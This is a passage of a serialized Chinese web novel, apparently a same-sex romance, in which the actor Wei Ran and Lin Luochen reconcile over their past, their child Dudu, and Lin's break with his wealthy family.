青少年的家长有时候会很容易将子女的问题看得很重，尤其是早恋相关。孩子十几岁时早恋，家长会觉得天塌了。可当孩子长到二十几岁，再回首这个问题，又会觉得根本不是什么事。 曹氏夫妇的情况也是如此。 尽管当初曹涉表现得的确堪称吓人。可今年曹涉已经三十岁了，在蔚染离家以后，他好像也想通了，就本本分分地去上了大学，读了研究生，找了一个好的工作…… 除了三十岁还没有谈过一场恋爱以外，一切的一切都再正常不过了，就像那个小插曲只是青春期的叛逆一样。 在这样的情况下，白女士夫妇当然越发地觉得对不起蔚染。 如果当时他们有再看看……如果当时他们不是那么紧张……甚至如果那时候没有送蔚染走，也没有强行分开他们，而是默认他们两个的关系，任其自由发展…… 至少蔚染根本不需要去音乐学院。 如果当初不是为了让他的养父母安心的话。 林洛宸看向蔚染，不知不觉，他已经从沙发扶手挪到了蔚染边上，很顺理成章地握住蔚染的手，他说：“别难过，即使走了一些弯路……你现在已经是一名成功的演员了。” “……谢谢。”蔚染说：“我不难过。” 林洛宸不知道该怎么安慰，就只能说：“嗯。” 蔚染又轻轻地笑了笑，不是以前那种灿烂的微笑，也不是演戏时的微笑，他只是无力地笑了笑。 天气阴得让人心情沉闷。正如同他拖着行李箱离开曹家的那天一样。 蔚染始终记得那天的天空，也是这样死气沉沉的一片铅灰色。 他记得那么清楚。 因为那天他又没有家了。 或者说那似乎从来都不是他的家——如果那是他的家的话，为什么大哥会对他生出那样的情感，最终却并没有站出来承担他该承担的责任。 可那又好像曾经是他的家—— 蔚染始终记得，得知曹涉改志愿是与自己有关的那一刻，白女士看向自己的眼神，第一反应不是厌恶嫌弃、不是避之不及，而是失望。 那真是一种母亲看待孩子的失望，与她望向曹涉的眼神一模一样。 尽管后来证明蔚染什么都没有做过，白女士也相信了他。但当年的事，若是像剥洋葱一样一层层地剥开，其实最让蔚染难受的，还是那个失望的眼神。 即使他没有做错过任何事，可当接收到“母亲”的那个眼神时，蔚染还是被狠狠地刺痛了。 甚至尽管头脑每天都在劝说自己，说自己没错，如果真的有错，白女士他们最后怎么会愿意相信自己。 但有一段时间，内心深处，蔚染其实也不知道自己是不是真的无辜—— 或许就像曹辉说的那样，大哥忽然“疯了”，真是因为自己哪里不正常、或者是自己的某些行为不得当导致的。 ——被送走、不被选择带给他的伤害固然很深。 但除了曹涉以外，他也是她引以为傲的孩子啊。 ……蔚染始终记得，亲眼见到自己的亲生父母下葬、又在孤儿院住了二十八天后，养父办完了所有收养手续将他接回家的那天，白女士穿着一身体面的职场装，亲切地蹲下来拥抱了他。 于是就当是为了偿还那个、带着一点点栀子花香调的温暖拥抱。 蔚染一声不吭地离开了那个他居住数年的家。 此后他也没对任何人提起、抱怨过这件事。 蔚染始终一个人静静地消化着这一切，并孤独地在深夜里、怀疑自己是否有罪。 远赴纽约、抵达音乐学院的第二天，就是蔚染的十七岁生日。 那时候他也才不过十七岁。 “蔚染，你没罪。”林洛宸心疼不已地握着蔚染的手，“碰上了个神经病，怎么可能是你的错？” “……是吗？”蔚染略微回神，先是迷茫地看向林洛宸，之后又想起什么似的，一点点把自己的手从对方掌心里抽出。 指尖快要彻底离开对方掌心的时候，又忽然被人更迅速地捉住了手，更大力地包裹。 林洛宸说：“当年同意跟我在一起这件事，你更没错。” “……”蔚染的眼睫狠狠地抖了一下，猛地望向林洛宸。 林洛宸也深吸口气，说：“你跟我分手，是不想我母亲也失望是吗？……蔚染，我现在都知道了。”—— 作者有话说：[可怜][可怜][可怜] 第40章 蔚染的恋爱时间也很短。只有两天。 爱意最盛时人是不理智的。 蔚染以为自己可以永远理智, 但事实是不可以。 蔚染的老师确诊出癌症晚期以后，谁都没告诉，连蔚染也是无意间发现的。 那时候他的老师刚进行完又一次的化疗, 人很虚弱，蔚染很心疼，想将这件事告诉林洛宸，但却被老师阻止了。 他的老师倚靠在病床上, 拉着他的手, 跟他说了一些话。 老师说在她的婚姻里，她唯一对不起的就是林洛宸, 她没有给林洛宸一个完整的童年和完整的家。 蔚染记忆里的恩师，也是永远化适宜的淡妆、挽精致的发髻、穿标准的职业装, 无论何时都向上挺直着脖颈, 举止自然得体, 矜贵大气。 可虚弱地评判着自己的老师, 眼尾的皱纹不知什么时候已经刻得很深、面色极差, 连脊背都已经微弯。 于是蔚染试图告诉老师, 那都不是她的错。 可是说着说着，他的老师却忽然问他，是跟林洛宸在一起了吗。 “……你也跟了我几年了，洛宸更是我亲生的，你们两个的变化，我怎么会看不出。”他的老师虚弱地说。 那个瞬间蔚染觉得自己的气血都逆流了，一句话都说不出，他甚至不敢抬头去看自己老师的脸。 因为记忆争相喷涌，他脑中全是几年前白女士看他的那个失望的眼神。 蔚染的自我保护机制告诉他，他不能再看见一次那样的眼神了。 真的, 他真的好些年才从那个让至亲之人失望的噩梦里走出来。 可这真的怪别人吗？不，一切只能怪他自己。 ——既然害怕老师失望，为什么又会跟她唯一的孩子扯上关系。 ——林洛宸比自己还小了一岁，他懂什么，一切都是自己默许的。……或者是自己引导的也说不定。 就像是在曹家那时候一样。 ——为什么明明知道接近自己的人、最后可能变成什么样，却还是没有推开林洛宸…… ——自己真的不知道会有这一天吗？ 不不不，自己从来就知道。 从林洛宸每个月来探望老师一次，到对方之后的每个周末都来找自己、住在自己那里…… 蔚染清晰地知道，自己什么都知道。 他只是欺骗了自己、放任自己沉浸在那短暂的被纵容的温柔里。 …… 那个瞬间，羞耻感在蔚染那里盖过了一切。 他不受控制地抽回了自己的手，依旧不敢抬头，他只是听见老师低低地叹了口气。 蔚染早已脸红到充血，也有些耳鸣了。 他羞愧地开口：“老师，我……” “阿染，不是老师不赞成你，是你要想清楚，你真的可以承受得了后面的事情吗？” …… 其实后来见识了林家的手段，蔚染才逐渐明白，老师的意思也许是说他与林洛宸门不当户不对，如果他们在一起，只会重蹈老师当年的覆辙，或者后果更严重。 但当时的蔚染什么都听不进去，也什么都理解不了——他是不敢听也不敢去理解，内心深处就是觉得自己已经做了很对不起老师的事，现在又被当面揭穿…… 于是在那个嘈杂的、人流攒动的医院里，顶着头顶上的刺白灯光，蔚染什么都不敢去细想。 他就只反握住老师的手，跟对方保证道：“我会跟林洛宸说清楚，我们不合适。” “就当是为了老师的身体考虑。” 蔚染告诉自己说：他应该跟林洛宸分开了。 现在老师的身体才是最重要的。这么个节骨眼上，自己不应该再让老师操心。 蔚染越想越下定了决心。 于是他只存在了两天的恋爱，就这样无疾而终. “……可我妈她不会限制我恋爱，她也不会对你失望。” 阴沉的房间里，蔚染不说话，林洛宸就只好继续开口说。 蔚染更深地埋头，竟然像蔚嘟嘟一样摆弄起自己的手，然后说：“是我对不起你。” 既然不是生活在陆地上的鱼，那就只有回到水里、才能够获得平静和喘息。 至少那个时候，对蔚染这条搁浅的鱼来说，退回到水里才是最安全的。 不管老师真实的想法是否有对自己的不认同和失望，蔚染不得不承认，同意跟林洛宸分开的那一刻，他的确觉得轻松了片刻。 或许自己此生就不适合跟任何人的关系超过友谊。 蔚染也自暴自弃。 但他没有想到的是，他跟林洛宸提分手的时候，对方看起来会那样伤心。 正如同他没有想到，自己也会那样心碎。 所以是他对不起他。 他并没有丝毫的勇气和力量去面对这样的情感，以前是，现在也是。 蔚染依然自暴自弃地想。 于是他再度对林洛宸强调：“是我对不起你。” “你对不对得起我的事先另说。” 林洛宸却忽然握住蔚染纠结在一起的手，说：“没听懂我的意思吗？我是说，蔚染，无论如何我母亲都不会嫌弃你。” 蔚染：“……” 蔚染抬头，瞳孔猛地扩大。 林洛宸显然还沉浸在蔚染在曹家受的委屈里，他说：“只是你养父母一家有些奇葩而已，蔚染，你不能因为暂时身处黑暗，就觉得外面一切都是黑的。” “……” “我妈肯定不是那个意思，如果她是，那我替她道歉。但是蔚染，你没错。” “…………” 蔚染又一次沉默了。 林洛宸还在噼里啪啦一顿说。 其实在谈判桌上先沉不住气的那个人往往就会成为输家，林洛宸深知这个道理，也一向将此规则运用得当、所向披靡。 但这次他的对手是蔚染。 他并不在乎与蔚染博弈的输赢。 他只要他们一直同处于这盘棋中，哪怕是做永远的对手、哪怕分不清对错—— 这样一辈子纠缠着也挺好的。 所以林洛宸还在不停地说：“而且我相信我母亲最终一定不会反对我们，所以蔚染你明白没有？至少在我母亲那里，她最终会祝福我们。” “……” 蔚染再度垂下头。 其实后来他已经知道老师不是那个意思了，可是那时候，老师的病情急转直下。 一下子其他的事情就变得更不重要了。 蔚染觉得自己是幸运的，总是能遇上一些人对自己掏心掏肺、让自己觉得无以为报的人。 可他有时候又怀疑这是不是隐藏在糖衣下的毒药或诅咒——离别总是猝不及防地降临，来得如此轻易。 老师病情加重的时候，蔚染已经很忙了。 忙着出唱片，忙着拍广告，他甚至都已经进组拍戏，在跟公司扯皮。 那段时间他几乎不眠不休不吃不睡，可一个月也只能挤出一点点时间飞去美国探望恩师。 单程就要花费十几个小时的距离，实在太远。一个月飞去一两次已经是蔚染的极限。 可至少他还是可以去看老师的。蔚染那时候没觉得苦，工作的时候反而更有干劲，宁愿一天多拍两场戏，总想着打出提前量，只要能挤出一天半的时间他就可以飞去美国…… 只是谁也没想到，他老师竟走得那么快那么急。 ——仅仅才如此来回跑了两次，蔚染就接到了恩师过世的噩耗。 他甚至连她的最后一面都没见到。 葬礼上，蔚染面色苍白如纸，像丢了魂。 他也的确很迷茫，老师对他来说不只是恩师，更像是另外一位母亲。 蔚染喜欢吃各种清蒸鱼，尤其偏爱清蒸鳜鱼。小时候他挑食不喜欢吃正餐，唯有母亲的这道菜能让他下饭。 长大了，他的老师就经常做这道菜邀请他去吃。那也是十七岁离开白女士家以后，他所品尝到的全部的家味。 可是，又一位可以给他做清蒸鳜鱼的人，彻底地离开了他。 于是，蔚染也不得不又一次怀疑，这是不是就是他的命。 “可我的确已经知道，她不是那个意思了。” 阴沉沉的天，室内也暗淡无光。 蔚染没什么力气地坐在沙发上，也没倚靠什么靠垫，就那样微弯着脊背，没什么力气地在林洛宸面前、公正地替自己的老师说：“她的确不是那个意思。” “她只是不希望我步她的后尘……而且，我是男的，你也是，未来的路会更难走。” “蔚染……” “老师过世前，给我发了一封邮件。”想起那封邮件里的拳拳叮嘱蔚染就想哭。 但蔚染会尽量让自己稳住情绪。 他只低眸说：“她是在担心我，也担心你。” 所以得知有了嘟嘟之后，蔚染还是回去找了林洛宸。 年轻人的自信让他总以为自己可以战胜一切，尤其是当他知道老师并不反对他们在一块儿、甚至老师的字里行间，都透露着希望他和林洛宸能幸福的时候。 蔚染便决定至少要试一次，要再全力以赴地挽回争取一次。 可是那时候他并不知道林洛宸已经出了车祸。 当无论如何都联络不上一个人的时候，蔚染也不是没有担忧过对方出事了——杀青彻底脱离剧组之后，他就飞去了林洛宸在美国的学校，寻人无果后，又飞到了墨尔本，辗转找到了林家本宅。 然后就是被林父亲口告知：阿宸不想再见到你。 “阿宸的母亲已经去世了，你还想怎么样，难道也想把我气走？”林父当时说话很不客气。 但蔚染在某些方面的确很缺爱，可他也有他阳光自信的一面，从不会被“外人”PUA。 林父好好说话、蔚染还可以客客气气。 对方态度恶劣蔚染也不会站着挨打，于是他温和又有力量地反驳回去：“叔叔，老师并不反对我跟林洛宸在一起，又何谈把你气走？” 林父直接暴跳如雷：“我儿子那样的天之骄子！……他凭什么再接受你？他不想见你！我们林家凭什么要你！” …… 在林洛宸的事情上，蔚染始终是理亏的，一句“他不想见你”，就已经让蔚染失了所有的勇气。 可那会儿他所求也不过是再见林洛宸一面。或许是要告诉对方嘟嘟的事，或许也不说，或许只是单纯再对对方说一句对不起……这几个月来，蔚染都已经是懵的傻的，痛失恩师，被黑恶资本势力打压、被带节奏被网曝被公司捅刀，又怀着嘟嘟…… 蔚染那会儿什么都不知道了，连林家背地整他的事，都懒得追究不愿再提，他好像就只剩一个信念。 他就想见林洛宸一面。 可林洛宸始终没有出面。 倒是林父被他“骚扰”得不厌其烦，坐不住了，最终以一种传统方式来解决这件事：用一笔钱让蔚染永远离开。 “你一个小明星，我随便找两个人就可以彻底让你在你的圈子里消失，我想前两个月你应该已经见识到了。” “为什么我要找人整你？你的老师！人已经躺在医院里起不来了！你呢，你在哪里？蔚染，她有那么多学生，可她生前最惦念的就是你！连走的时候也在念着你，可你在哪里！” “这是一千万的合约，识相的就赶紧同意拿钱走人。” “阿宸说他不会再见你，给自己留点尊严吧，蔚染。” …… 从墨尔本飞回国的那十一个小时，蔚染仿佛又彻底地长大了一次。 从此他的世界里，就只有他一个人了。 那时他无比清楚地认知。 但是人们绝望的时候，又总还能获得一些希望的，只要坚持下去。 后来蔚染就有了嘟嘟。 …… 蔚染的年纪在娱乐圈里的确算不小了。他想。 ——所以自己的回忆也是这么的长。 勉强扯了扯唇角，削薄的唇早就没有了血色，蔚染平静地对林洛宸说：“所以我不能失去嘟嘟。” “嗯，嗯。”林洛宸已经什么都懂了，心疼得都碎成了好几片——他怎么忍心让蔚染与嘟嘟分开？那是蔚染的全部了！ 他安抚蔚染说：“放心，我家那边的事我来解决，他们不会再来伤害你……” “嘟嘟永远都是最重要的。” “嗯，我知道。” 蔚染还是说：“无论如何，我的事都不能牵累到嘟嘟……嘟嘟不能受到伤害。” 林洛宸：“好，好，你放心吧染哥，我答应你，我发誓。” “嘟嘟很重要，对我来说很重要。”嘴唇轻碰，蔚染平静地说着，像是在做什么无意义的重复。 眼前却已经模糊一片。 他在林洛宸的一声声极具耐心的安抚中，又声音很低地说：“你也是啊，林洛宸，你也是。”—— 作者有话说：写到这里感觉可以收尾了，我努力[狗头]随即发一波小红包[奶茶]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第41章【VIP】 第41章 蔚染迷糊的毛病又犯了, 只不过以前他犯迷糊是下意识地沉默，这一次是自己说出的话自己都没注意。 林洛宸也是愣了半晌，忽然回神：“蔚染, 你说什么？” 蔚染冲他眨了眨眼睛，很缓慢地。 长睫虚晃着形成一小段阴影，蔚染的侧颜特别标致，鼻梁高, 双眼皮很深的眼尾自然上挑, 淡色的唇瓣下意识地浅抿着，形状诱人。 蔚染的眸光还有些涣散。 于是林洛宸便意识到了, 注意力并不集中的蔚染，刚刚在说, 自己也很重要。 ……？ 这意味着什么？？？ 长时间被心爱之人甩了的迷茫、不知道还能做什么才能给这个人安慰的心疼, 以及刻骨的思念, 让林洛宸也在这一刻再也不想控制自己。 他捞过距离他仅就只有半条手臂远的人, 对上对方水雾洇染的黑眸, 然后吻上蔚染颜色浅淡的唇。 这是一个充满侵略性的吻。 蔚染一般不用香水, 身上总有种淡淡的洗衣液的清香，干净又清爽，又仿佛还跟多年以前一样，林洛宸在他身上尝到了阳光和蛋糕的味道。 是甜的。 所以更忍不住让人攻城略地。 蔚染有点不能呼吸。 意识好像都回到了五年以前，那天其实也是一个阴沉的晚上，但因为林洛宸的陪伴，蔚染并没有觉得压抑或心情不好。 那段时间，每个周末可以见到这个人，不仅是蔚染不自觉所期盼的事，也早就成了他工作日过好每一天的动力。 林洛宸总说他自信、行动力强生命力旺盛。 殊不知这其中也有对方的功劳。 那天晚上, 他们喝完一点点酒，一起看了一部电影，也不知道是谁先主动的。 就也这样吻在了一处。 那天林洛宸也是这样充满侵略性地压着他，一开始还只是试探，当发现蔚染在犹豫时，对方便无师自通地发起进攻，如果蔚染表现出了抗拒，就又会变成缱绻的试探。 蔚染最受不了这样的林洛宸。 小的时候他亲生父母养过一只拉布拉多，他与那只狗狗相伴长大，那是蔚染的第一个朋友。 而有时候，他觉得林洛宸也很像这种忠诚的大狗狗。 他根本抵挡不了对方进入自己的世界。 然后就什么都发生了。 …… 从前尘往事中回过神来的时候，蔚染已经被人按着躺倒在沙发上，双手被对方一只手按着举过头顶，被吻个不停。 蔚染没有拒绝也没有回应，任由对方的手从自己衣摆下面探进，皮肤在指尖下面不自觉地战栗着，他听见对方的呼吸变得更重了一些。 有什么又热又烫。蔚染不受控制地发起抖来，又一次呼吸交织，他觉得自己快要喘不上气。 下一刻，压在身上的分量却陡然卸去一大半，肺部重新充斥起新鲜空气，蔚染乌沉沉的眼眸看向正挺悬于他上方的人，发现林洛宸也在大口呼吸着。 压着他双手的那只手卸去了力道。 林洛宸撑起上身说：“蔚染，我们重新在一起吧。” 蔚染：“……” 年少的林洛宸就很纯爱。 尽管那时候他们都已经二十多，但严格来说，那天两个人都是各种意义的第一次。 可林洛宸在碾着他、不断入侵他的时候却不只要这个，他要蔚染的爱，要名分，要成为蔚染的初恋。 所以那天他用了很多办法，要蔚染承认他们是恋人关系。 蔚染从未想过自己人生第一次谈恋爱和第一次竟都……这样猝不及防，又轰轰烈烈。 但是那两天，他跟林洛宸在他的出租房里的确过得挺疯，像不停下坠的、不愿醒来的梦。 蔚染一向很喜欢做梦，毕竟他经常宁愿永远留在梦里。 可如今……他没有时间做梦。 也再也不是那个需要轰轰烈烈的年纪了。 蔚染双眸再度失神地望着天花板，思绪又不知道飞向了何处。 尽管眼神涣散，但蔚染生得极好——他那双眼睛天生会说话一般，没有聚焦看人的时候瞳仁也是乌漆漆清湛的，滴墨入宣纸一样的黑白分明，永远不会显得呆板。 嘴唇又被人啄了一下，有点柔软又带着一点点的力道。 蔚染强行将意识又拉回此刻，视线落到对方脸上，他看见林洛宸的目光还在紧紧盯着自己。 蔚染低低叹了口气，试图从沙发上坐起来。 可林洛宸就悬在他上方，蔚染没有什么可活动和改变的空间……他只好抬手推了推对方的胸膛，顺便嗔怪地看了对方一眼。 ……总结来说，就是蔚染翻了个白眼。 但说来也怪，原本因为要被推开而神色郁结的人，因为这个白眼却忽然笑了出来。 林洛宸单看脸的话，就是那种邻家俊朗大男孩的长相，五官深刻却也透着一股子的阳光。 他平时不笑，看着就凶。可一笑起来就显得有点傻了。 ……真傻啊。蔚染再度叹了口气。 “起来。”绵羊音温吞地响起。 这次蔚染终于成功坐起来了。 他用两条细伶伶的手臂撑着上身，略微低眸，长睫在眼下落起一片阴影。 林洛宸随着他的动作一起起身，还保持单膝点在沙发上的姿势，一动不动地看着蔚染。 蔚染抬手按了按额头。 林洛宸眸光一动，稍微调整了下姿势，伸手落在蔚染头上，帮蔚染按摩。 室内再度陷入安静，两个人都默契地再没开口。 直到十几分钟后，嘟嘟睡醒午觉，哒哒哒地跑出来。 嘟嘟没有起床气，睡醒了就自己爬起来玩，没睡醒则会在小床上翻身继续睡，不用人哄，总之很少有哭闹的时候。 所以蔚染觉得这崽儿就是来拯救他的。他很少觉得宝宝难带。 林洛宸听说了嘟嘟这一点，一边抬手招呼嘟嘟过去，一边状似随意地说：“我小时候也这样。” 哒哒哒跑过来的嘟嘟很给面子地先是跑到林洛宸面前，扒了扒林爸爸的膝盖，接着又小螃蟹似的平向横移来到爸爸面前，眨着大眼睛仰头看蔚染。 “宝宝……”蔚染被嘟嘟可爱的小模样逗笑了。 “爸爸！”嘟嘟甜甜地叫了一声，然后雨露均沾地一人抱了一条大腿，“爸爸，我们什么时候回家喏！” 再过两天，嘟嘟的幼儿园就要恢复上课，蔚染他们的确要抓紧时间赶回去了。 但嘟嘟提出要回去，是因为宝宝想在开学前一天，把买给路诸哥哥的玩具提前送过去跟对方一起玩。 “既然嘟嘟想回去，那我们今晚就……回去？” 林洛宸前面还是用着拍板做决定的语气，后面就拐了个弯，变成了问蔚染这个问题。 把嘟嘟抱到沙发上，就坐在自己和蔚染的中间，林洛宸低头握了握崽的小圆手说：“白阿姨这边的事我留个人专门负责，你看怎么样？” 他问的是蔚染，但正在跟林爸爸玩大手牵小手游戏的嘟嘟也自动加入话题，小复读机一样：“你看怎么样儿？” 旁边一大一小都齐齐看着蔚染。 因为动作太整齐划一，神态也过分相似，蔚染再度被逗笑。 他又有点吃味地握住嘟嘟的另一只手，说：“好，那就这样。” 于是小复读机嘟嘟又将大头扭向了林爸爸，传话：“那就酱~！”. 回到S市的生活又归于平静，嘟嘟去上幼儿园，之后没过几天，林洛宸就出差离开了，蔚染没有工作不出席活动的时候，就是每天在家运动健身钻研剧本，顺道看看书丰富一下知识储备。 除此之外，终于闲下来的他，也开始试着自己下厨做饭了。 以前一个人在外读书的时候蔚染基本只吃食堂，那会儿他最大的功课之一就是要跟体重做斗争，琢磨下厨是不可能的——除了在食堂吃全麦面包和沙拉以外，每天想的都是炸鸡披萨等外卖，根本没有下厨的动力，他那出租房里连基本的锅具都没有。 这次从W市回来，是林洛宸先张罗着下的厨。 林洛宸在做菜上倒是有一些天赋，至少不像他第一次进厨房时那样兵荒马乱……蔚染知道这是林洛宸多年前退学去非洲大草原拍大象时、练就的基本手艺。 在野外，大少爷该干的活也一样不能落下。 其实林家对蔚染的仇视，有一部分也与林洛宸当年的退学事件有关。 他们同样将这归咎在蔚染头上，觉得是蔚染把人带坏了。 蔚染在这方面受到过一次创伤，尽管理智会想林洛宸那会儿做什么决定跟自己有什么关系？自己从未引导过对方什么，可因为有过“黑历史”，他也总担心究竟是不是自己的离经叛道、在无意间误导了别人。 但那时候的担心恐惧、那时候的纠结和经历，在现在看来竟然只有针鼻儿大小的事情。 不仅一丁点不会觉得严重，反而再想来时，还会因此会心一笑—— 如果没有去非洲拍大象的经历，大少爷哪儿能学会自己做饭呢。 所以说，都不过是经历和体验。 临出差走的前一天，林洛宸给蔚染做了一道清蒸鳜鱼。 是特意跟王阿姨学的手艺，有厨艺基础，他这道菜做得很成功。 之后，蔚染就学着自己做菜了。 “爸爸做的怎么样？” 清蒸鳜鱼被端上桌，蔚染用筷子给嘟嘟筛掉鱼刺夹进小碗里。 这道菜只要掌握技巧，其实很难做得难吃。 但蔚染还是看见嘟嘟在兴冲冲地尝了一口后，猛地皱起了小眉头。 “……爸爸，好吃的哦！” 蔚染：“……” 蔚染自己尝了一口……不知道哪里有问题，但的确有点腥。 “没关系的爸爸，你要，继续努力哒。”嘟嘟安慰自己的爸爸。 他灵光的大脑袋忽然想到——爸爸会自己做饭的话，也是一种自立！ 嘟嘟懂得的还不是特别多，他只是想到既然爸爸喜欢吃鱼，那就自己做鱼……嘟嘟也给爸爸做！ 于是，吃过饭的嘟嘟就用自己的橡皮泥、给爸爸捏了一条小胖鱼。 ……呃，米有办法，爸爸说嘟嘟要是这个时候进厨房的话，会受伤，所以如果嘟嘟乱动灶台的话爸爸就会很生气。 不过那条小胖鱼嘟嘟捏得也很用心，爸爸非常喜欢，还特意买了透明的展示盒子装起来，就摆在书架的某一格上方便随时看。 又过了两天，嘟嘟收到了杜爸爸送的儿童厨房全件套。 于是爸爸去厨房做饭，嘟嘟在家的话，就在客厅里摆弄儿童厨房的小锅子和小铲子。 听说爸爸开始做菜了，杜爸爸有来蹭了两回饭，之后他再来找嘟嘟和爸爸的时候，就刻意避开饭点了。 经纪叔叔来找爸爸的话，大衣口袋里会自带三明治。 三明治里面夹了火腿和厚鸡蛋，小蔬菜很少，嘟嘟也想吃。 可是嘟嘟还是忠实地吃着爸爸做的菜，王奶奶说，吃不坏的，爸爸做菜只是有点淡。 …… 不知不觉就过去了好久，嘟嘟忽然想起，好像有段儿时间没有见到林爸爸了喏？ 幸好宝宝的记忆很好，嘟嘟掰着小手指头一天一天地数：五、六、七，好像林爸爸已经七天没来看嘟嘟了。 其他的干爹也不经常见嘟嘟的，嘟嘟已经习惯了，只要有爸爸每天都在就好。 不过偶尔，嘟嘟还是会想起林爸爸。嘟嘟也说不上为啥。 掰小手指数到第九天的时候，爸爸忽然接到一个电话，然后就去到了落地窗边。 那会儿嘟嘟正团成球状坐在地毯上摆弄乐高模型，爸爸走路很快，带起一阵风，把嘟嘟的小西瓜头发型都吹歪了。 爸爸一直慢吞吞的，很少有这么不淡定的时候。 于是宝宝也好奇地爬起来，跟过去看。 嘟嘟记住了爸爸的教导，这次没有扒窗户，而是抱住自己爸爸的大腿，然后第一眼看见楼下巨显眼巨高大的身影。 “……林爸爸！” 人类幼崽发出脆脆的小声音。 楼下，林洛宸仰起头，身影高大落拓，在晨光的熹微中与上面的一大一小对视着，倏尔一笑—— 作者有话说：倒计时，继续掉落一批小红包[奶茶]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第42章【完结章】 病房内部, 林洛宸穿着病号服半倚半靠着在看电脑，病房门打开的一瞬，他顺手把膝盖上的设备往旁边一丢, 抬头就看见蔚染长身玉立地出现在门口。 林洛宸赶紧冲蔚染一笑。 蔚染戴着帽子和口罩，即使是来私人医院走vip通道他现在也容易被人认出来，唯有帽檐将脸部挡得严严实实才能安全一些。 蔚染的视线在林洛宸的姿势上扫过，什么也没说地垂下眼皮步入室内, 先将手里的保温杯套组放下, 之后走到衣架前脱外套。 天气愈加地冷了，他倒是还穿着那件款式极质朴的薄棉服, 因为平时也不在室外活动，并没觉得冷。 但是林洛宸看不下去了。 “你粉丝都说让品牌商资助你两套衣服……要不这样, 我做你品牌商……” “嗯, 季哥已经在谈合作了。”蔚染温吞地打断对方。 林洛宸：“……” 脱掉外套, 蔚染回身重新拿过保温杯来到病床边。 季养运那边是真的在跟一家服饰类的国际老品牌在谈商业合作, 而且是对面主动邀约。 对方看中了蔚染瘦削中带着力量的出挑, 认定蔚染很符合他们商业品牌的形象。目前双方谈的还算顺利, 进度正常的话他们这个月就会签合约、拍摄代言人宣传海报，差不多能赶上双十二以前官宣。 林洛宸说：“……那服饰类品牌你又不是只能签一家，也不差我一家。” 蔚染知道林洛宸能干出马上就创办个品牌、自己做品牌方这种事，赶紧摆手让对方歇了这念头。 他站在床边继续垂眸：“你怎么还这么坐着，后背是好了么？” 蔚染不怎么有好气地说。 昨天林洛宸突然出现，又一大早地出现在蔚染家楼下，上楼的时候人看着还挺正常的，甚至神采奕奕地跟蔚染说：“全解决了。” 那会儿嘟嘟要去上幼儿园了，蔚染听后微微一愣，就点了点头也没说什么, 之后帮王阿姨张罗着把嘟嘟送出门去上学，又回了季养运的一个视频电话、忙了点其他工作上的事，才有空去管林洛宸。 林洛宸还是淡然地捧着个电脑在办公，但那会儿蔚染就发现这人脸色不对，一摸果然额头滚烫。 蔚染赶紧去找手机联系司机叫车。 林洛宸却扑上来抱住他，说：“蔚染，我没事。” 这个人脸色差的不像是单纯感冒发烧，蔚染对于各种伤病表现还是有一点点经验的，他很快就发现林洛宸行动迟缓，之后就顺理成章地发现了他背上的伤。 “……他们打你？”蔚染立即反应过来，又难以置信。 林洛宸还抱着他，面色青白得不像话，但看蔚染的眼神却越发缱绻，眼底含笑，他说：“我真没事。” 但蔚染接受不了了。 “什么全解决了，就是这么解决的？！” 林洛宸一离开就是好些天，说是回林家本宅处理事情，但其实谁都明白，他就是回林家交代和“解决”蔚染和嘟嘟的事。 蔚染见识过林家人的傲慢和盛气凌人，知道林洛宸回去肯定也要经历一场“恶战”，但每个人都有自己的战场和必须要做的事，这九天来，他没有主动联络林洛宸，也没有去打听他的事。很多事都不是努力就会有结果的，蔚染早就学会等待了。 他也相信林洛宸。 “结果就这？” 在蔚染的世界观里，无论如何都不能打人，那属于家暴。 但是林家有自己的家规和祖训，身处在不同国家，律法也是不一样的。 “只是几鞭子而已，没事。”林洛宸笑了笑，还碰了碰蔚染的脸。 蔚染眼睛红了，眼泪不受控制地涌出来，是被气的、被吓的，也是心疼的。 他看着林洛宸背上透血的纱布。 “你管这叫几鞭子而已？！” 林洛宸反过来去抱住蔚染，说：“他们养我一场，现在还给他们……也不错。” 既然知道自己跟蔚染都在一本书里，造成未来厄运的起因就是自家内部的事，那林洛宸回家以后的态度就很坚决了。 他就是要所有人都不再参与他与蔚染、与嘟嘟之间的事。 但虽说这是唯一的要求，可怎么才算彻底不参与，这个条条框框太多了，比如有人就问林洛宸：若是他跟蔚染在一起了，也把嘟嘟认回了林家，那他爷爷要看重孙子，这算不算参与？ 林洛宸想也不想地回答：“当然算，所以我要先问过嘟嘟和蔚染的意见。” …… 他这么一回答，就会有想踩掉他的、想讨好老爷子上位的人站出来数落他的态度和发心，林洛宸一一应对，据理力争，口水仗和车轮战术就这么打了三天。 这还是林洛宸逻辑思维能力强、条理清晰口才又好，且吵架的时候不会让自己内耗，才能连续这么久地跟家里那一群人逐一单挑。 他也真的扛住了，比所有人耐心都好、比任何人态度都要坚决，只坚持自己的要求，不被任何外物任何言语所动摇，一直耗到所有人都腻了，林家老太爷亲自找林洛宸谈话，最终就商讨出这么个结果—— 林洛宸脱离林家，但要受鞭刑二十下，自此以后就不再是林家子弟。 “老爷子提这个条件，大概是没想到我会答应。但这样很好。” 林洛宸抱紧蔚染，是真一本满足地说。 他是本来自我感觉已经好得差不多，便着急回来见蔚染，养了几天伤就躺不住了。 但可能是长途跋涉地颠簸，伤口又有些崩开了，这才有些发烧。 蔚染在对方滚烫的怀抱里动不了，也不敢动，怕再拉扯到对方的伤口。 他拍戏的时候也遇到过水平不济或变态的导演，有两次演受刑情节就被真打过。 那只是用道具的鞭子抽、还远没有皮开肉绽就疼得不行，他想象不到林洛宸这几天是怎么过的。 脸上的泪像断了线的珠子，蔚染都不知道该抱对方哪，所以还是林洛宸抱着他。 对方轻轻吻掉蔚染脸上的泪痕，还笑着说：“不过想真正割裂，路还很长，你放心，我不会有事。” 林洛宸已经接手了林家在国内市场的生意，而在此之前，北美那边整片市场都他说了算。 家族内部但凡是有个能像他一样担事的人，都不至于这俩区域都落入他手。即便是林洛宸现在什么都不要，老太爷那边也不会同意。 “老爷子选不出什么人能跟我做这个交接。他也不信我。” 这么大的商业帝国，林洛宸想在临走前施展什么手段给企业挖坑简直不要太简单，林家人没有一个相信他会老实将所有一切交还、真的净身出户。 再说那是什么事儿？嫡长孙为了一个人回家闹了一通——不管在家族内部闹得再凶，这事都不能外传，传出去让人笑话。 所以最后也只能这么耗着，所有人都要假装无事发生，甚至搞不好，最后林洛宸还是会成为老爷子指定的继承人。 “那就这么白打你了？”蔚染的绵羊音变得不再温吞。 但问完以后他就不再说话。他已经懂了。 林洛宸回去讨了这一顿打，所求也不过是仁至义尽。是为了以后的心安理得。 